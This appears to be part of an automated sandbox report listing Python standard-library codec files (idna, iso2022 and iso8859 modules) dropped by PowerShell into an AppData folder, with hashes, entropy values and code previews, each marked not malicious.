              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9405
              Entropy (8bit):4.456033241276571
              Encrypted:false
              SSDEEP:
              MD5:C2DAEBCCD1DE0B4535D537DB6658A6AA
              SHA1:B799688CC2CFDA6164308A6A78DF70AD59876DB7
              SHA-256:F62053A41EEA93F5953D1DE69C98FFD7F3E2D0E9AC984BA27A9BE37ADF0F4022
              SHA-512:83C7224EB66F7B4AD23B678B74EE054C27D8197EE708D5CCCFC4FA9E1775978608E09AA188594C5602160F93215C4F7B113C0C593C39502FA3CB163744DDAA54
              Malicious:false
              Reputation:unknown
              Preview:# This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep)....import stringprep, re, codecs..from unicodedata import ucd_3_2_0 as unicodedata....# IDNA section 3.1..dots = re.compile("[\u002E\u3002\uFF0E\uFF61]")....# IDNA section 5..ace_prefix = b"xn--"..sace_prefix = "xn--"....# This assumes query strings, so AllowUnassigned is true..def nameprep(label):.. # Map.. newlabel = [].. for c in label:.. if stringprep.in_table_b1(c):.. # Map to nothing.. continue.. newlabel.append(stringprep.map_table_b2(c)).. label = "".join(newlabel).... # Normalize.. label = unicodedata.normalize("NFKC", label).... # Prohibit.. for c in label:.. if stringprep.in_table_c12(c) or \.. stringprep.in_table_c22(c) or \.. stringprep.in_table_c3(c) or \.. stringprep.in_table_c4(c) or \.. stringprep.in_table_c5(c) or \.. stringprep.in_table_c6(c) or \.. stringprep.in_table_c7(c) or

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso2022_jp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1092
              Entropy (8bit):4.599723694318225
              Encrypted:false
              SSDEEP:
              MD5:0607F8E6310A0B601897FF8EC76FF2C4
              SHA1:3839A936E2792722D3F157F11965BF510241C0FA
              SHA-256:7169767DD6732A80A0B665315588EF9CFF2DF4D495A86BC0BDD22B5C9F0644B9
              SHA-512:C763E0D3AFA5DBB7FA96D03A52F0F5828A61E8FF24523BF62A852C989DD3BFBBFC3DA4535B5401A78E47FE16F3EA33364BA63655D91A6A12516315E231F23B15
              Malicious:false
              Reputation:unknown
              Preview:#..# iso2022_jp.py: Python Unicode Codec for ISO2022_JP..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incremen

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso2022_jp_1.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1100
              Entropy (8bit):4.625134249310359
              Encrypted:false
              SSDEEP:
              MD5:4D2B0675DE1A9AFB3553B5D5E894020C
              SHA1:A9B6F704D09F7A0B5182BE7C3581D321BA4DDA76
              SHA-256:627D3BDB5D3BC70DD00E51199B689D1C225EFE747A2DB8D5938E6AF78263F572
              SHA-512:AC8E08AA4A2235BF20C563EC1A466B666A39F09CCD4AE681CD34DCF51754E3B8C860D557354691D170ABCDE43029B3B45E5597AADDED398577F9A90C74FADC57
              Malicious:false
              Reputation:unknown
              Preview:#..# iso2022_jp_1.py: Python Unicode Codec for ISO2022_JP_1..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_1')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_1',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso2022_jp_2.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1100
              Entropy (8bit):4.611453480597579
              Encrypted:false
              SSDEEP:
              MD5:A4798D8B5DEE38BCCF3CBEAD235F392E
              SHA1:8971456D5A2C4A3255592399EE1141E119880774
              SHA-256:DC680A0E34DCE73756F0E3B5CBB23DD819022BE7E10F80E55289A5EAB9ED7C2E
              SHA-512:E329124E3ADA51C303556CA0C6B5B4644ED76E6F43C943BFE72F318928EF1DAA6121FE545480F4092F92B05CD25315D3E5B7ADB09E63985E9D8879BA3A751C2B
              Malicious:false
              Reputation:unknown
              Preview:#..# iso2022_jp_2.py: Python Unicode Codec for ISO2022_JP_2..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_2')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_2',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso2022_jp_2004.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1112
              Entropy (8bit):4.645190214359865
              Encrypted:false
              SSDEEP:
              MD5:E1738D28D315C80A04908CDB21CBE7BD
              SHA1:D79BC1E83E0A2103909A7AB97DB3A456D21C0711
              SHA-256:C8CB592DF0CF38A6B7E8265C02D7784FB32052EF9AD94D0FF369889EDA540273
              SHA-512:BFDF5D44B36916C3B828EA1C599E644CB9D3ADBC0D2D4922F016F9DDD7EB424F8A937C19FA3EFBA0E9F4AC14ADFF3C0BA6B924130ED2D050C3A9BDDC2F4165C2
              Malicious:false
              Reputation:unknown
              Preview:#..# iso2022_jp_2004.py: Python Unicode Codec for ISO2022_JP_2004..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_2004')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_2004',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. increme

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso2022_jp_3.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1100
              Entropy (8bit):4.625134249310359
              Encrypted:false
              SSDEEP:
              MD5:3E98055A4B7D99A49798F3012C4D9DDB
              SHA1:8579E49AA8080610BF40A51DC18B6DF5EEE56A2E
              SHA-256:2A2AE4368D962C2E7B5DB2F29EE89EFD5A7FDB881DEF523C21670E0D1A1C50CE
              SHA-512:DBA054816FC0022810D545D089BC62997BFE04143B579E59EF1DAD2D25DCAFC879BF00CADEA2DDF3CE850728E00911984590EA8C8C8D6EA1AF30F71AA97CEA76
              Malicious:false
              Reputation:unknown
              Preview:#..# iso2022_jp_3.py: Python Unicode Codec for ISO2022_JP_3..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_3')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_3',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso2022_jp_ext.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1108
              Entropy (8bit):4.633181613509048
              Encrypted:false
              SSDEEP:
              MD5:34E904E0F16F84EC0A001DFFCDE7514C
              SHA1:19BCD8776FB3239A003F4B5F04B7056B81D0A6C6
              SHA-256:5B4439C7DBE65638166A70C5404CABB72552019D1F497193C6689B86BD3C4C94
              SHA-512:F9DC1EA03840BD9763BC2B1521D2557FD0111682D1FF805FCCDA123508C3F23768F819FA26B2E097447595F70ABCB2737C9B153B848D2687DB3E2E9E645801EC
              Malicious:false
              Reputation:unknown
              Preview:#..# iso2022_jp_ext.py: Python Unicode Codec for ISO2022_JP_EXT..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_jp_ext')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_jp_ext',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incremental

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso2022_kr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1092
              Entropy (8bit):4.584383388529371
              Encrypted:false
              SSDEEP:
              MD5:F907851FF35FB61EB485B2C163A2BCCB
              SHA1:CA280AC9C832208B01242601F7F3A78803A1CDF9
              SHA-256:FD9EFD7094361F6557D00857E332D7229E922597336A0714FB0FA2402C954029
              SHA-512:4992572D79613856F84F7332C1D7C588B2BA4256613FCAB21BEF6C74BF8D50F2D96CAA2ABFF2C92D040DDFE45A328B7495BCB29CD51580577D5F5A5527CC469D
              Malicious:false
              Reputation:unknown
              Preview:#..# iso2022_kr.py: Python Unicode Codec for ISO2022_KR..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_iso2022, codecs..import _multibytecodec as mbc....codec = _codecs_iso2022.getcodec('iso2022_kr')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='iso2022_kr',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incremen

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_1.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13483
              Entropy (8bit):4.571059193460173
              Encrypted:false
              SSDEEP:
              MD5:0466703A1EB5752CDD5115B2D738D822
              SHA1:03354F0D1406A99B9934276675759C6002D4A901
              SHA-256:CCFDBA207B483DCD38673D85B6E2A773A5BF64E8AE9DB7E90A01F8014E62B24A
              SHA-512:3D7B957FF194B69AC9DE7FE59BD03DB29EBD076456FC93FD3E6AFB6B09EACB8C5D327A6E17719C02AE5F71E8428BB55FAB633955861699BC4FF90C3F80D0A783
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_1 generated from 'MAPPINGS/ISO8859/8859-1.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-1',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_10.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13896
              Entropy (8bit):4.591898710758108
              Encrypted:false
              SSDEEP:
              MD5:28ADCF051DD15E45A38CE929864BBD83
              SHA1:A09E4C13D00393CE6C2F3CF9665455D74BBF8A0A
              SHA-256:76216C65399DE88B6D40E0BE3209ED7B14D6DD87AFB9C0A984ADDDD0CF6B559F
              SHA-512:13A368308279E76F2D6C3AEF73B66AD4EF4A5A88098FF1A85B403C3C006B3925E25BBB72A6BAC1585CF90D60CF26ADE576CCE484A65E1AE0EC52467370D0507C
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_10 generated from 'MAPPINGS/ISO8859/8859-10.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-10',.. enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_11.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12642
              Entropy (8bit):4.621611083140247
              Encrypted:false
              SSDEEP:
              MD5:8BE69EAC235E74EFCA68174DB8EA6352
              SHA1:28447A4EC5A2111A8B370DECD143F45935EBC454
              SHA-256:5E346F5769E0C3EEB6B5547B954481A821481A970AA8FEC33BFFBF07B880689A
              SHA-512:2E4CB687855A577BDBA8665767BFDD29E95D0952C10C0DA9C2547659629C6DBCD7A95E9C821A1CED7CA4BE5600A95BAEA1D5383AFC9A491E3861A344F1FFAEFB
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_11 generated from 'MAPPINGS/ISO8859/8859-11.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-11',.. enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_13.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13578
              Entropy (8bit):4.614312894970411
              Encrypted:false
              SSDEEP:
              MD5:89E3297E11801E02B40A23B6180DCD25
              SHA1:EB58BC97EEE69D9DB6670CD439C684057B7A3937
              SHA-256:BEE45734B991C04E76C2ABA2BA8C7208F6BA743324D815DE95965945643D8084
              SHA-512:F8AF2186EC0C3CE5B391999280086ADFD3882425269ECFBCA4D70A33907CE42A1F8F6949D9BE2937FB92300A8235667611DECD358C7E0F8273858B72ADF56CB3
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_13 generated from 'MAPPINGS/ISO8859/8859-13.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-13',.. enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_14.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13959
              Entropy (8bit):4.584053979506915
              Encrypted:false
              SSDEEP:
              MD5:445A9BD974736A30077C9BF14106E805
              SHA1:85E673B1E179E5886765F6051ED2F9235063F2F8
              SHA-256:C498772FADF244077B650E468E7922AE1C0DB74ED6984A2A81BC0E088631F0F9
              SHA-512:0D8D322C1DCCB5F2169F402CB82875A10D725F65DFBDE6E70515839CFC8451DD58DD5F938AED1DE25A2C1E74ACEADC7E07889F81C98808ECDE2F6F24D5C73D89
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_14 generated from 'MAPPINGS/ISO8859/8859-14.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-14',.. enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_15.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13519
              Entropy (8bit):4.566581461339518
              Encrypted:false
              SSDEEP:
              MD5:0D2C4FB1B7CCD0D085108F651A041593
              SHA1:947AF7C07B789EB743031C3C108BB2FDB882F673
              SHA-256:D703D64AE2D23602E38C2F387EEFFD5D4E5792209BC3CE64928FEE2F99DCD906
              SHA-512:3B24DE05424FBEFC09C8B3743DEA37C4AFEDE5C68A96D0721622D28A6AD42B47D2BB28011F39E6B89AD14B893DB545572537EC741090B880414C26CDF8845EDA
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_15 generated from 'MAPPINGS/ISO8859/8859-15.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-15',.. enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_16.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13864
              Entropy (8bit):4.596808715275571
              Encrypted:false
              SSDEEP:
              MD5:6ED16EE5F05DE02F25349CEBA19AFF51
              SHA1:B036FA26C737669AB311D450BE274CE57845EB9C
              SHA-256:F49FFF248546D510F7ECB5FC2C25C9B68925A2F483B938035CD7A54957A560A2
              SHA-512:18FFEC059B44077627A86139D2861509E28DC8564FC9B5F822C79E21E8A43043780469221B66743D5BFEF84552C3F787E25B721B87B2422A0AFCBCEC84953AE8
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_16 generated from 'MAPPINGS/ISO8859/8859-16.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-16',.. enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_2.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13711
              Entropy (8bit):4.594295226318269
              Encrypted:false
              SSDEEP:
              MD5:62DC1A7320D0B8FB3FB535E0F2055446
              SHA1:02D0C9E5D224A0C6036C27C842EC54E3962681C3
              SHA-256:D9102AE464030E5A0F4D1712435AC3BDB2FA98ECAA689B5965442EF92B13DFEC
              SHA-512:29D58449D2B6216C9BB40E151E0133FC370D104C07C6960581B914495C8940B2B7C7B85E70514EB0D37313854A8EC2BDC3163406881B4521262CEBF26A385EAE
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_2 generated from 'MAPPINGS/ISO8859/8859-2.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-2',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_3.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13396
              Entropy (8bit):4.597193229637006
              Encrypted:false
              SSDEEP:
              MD5:79D790F88E256CC8C968456344519BAB
              SHA1:6EA401BBD3082D55BA2235D768A80BEA52E4759A
              SHA-256:E372E25B32E8657DB9B57B3C9B53D68B67F3FC6651C53B071DCAC6CAB6662FCA
              SHA-512:EDB436E11FE172A73DD899E163F3D05D1DB6214755FCCCD7311A1923EF5EE8F7530D353D1EEB9BE8B9E435F250509CD114CE540BC4F928B32000A64E05EB4E9C
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_3 generated from 'MAPPINGS/ISO8859/8859-3.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-3',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_4.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13683
              Entropy (8bit):4.589930243244332
              Encrypted:false
              SSDEEP:
              MD5:4C0E2E5478CFC6B2A8134D5C5D3C76ED
              SHA1:73749BA58832D716683A2F76354BB032A3123E78
              SHA-256:164C26A1A13DC22A21A7F80E5C0176EA9223111B759D2ED1CD8B3C55AAB63BBD
              SHA-512:C469837BC68A419D91FD8EB0D52A2164D557C3EEBDA6E7F2B1040D18DFC6F94BDA827CFAC0EF44BF8F19DDE6B732A9AF3A48214EE0AFB143600D3D77E98F1C59
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_4 generated from 'MAPPINGS/ISO8859/8859-4.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-4',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_5.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13322
              Entropy (8bit):4.619153100357495
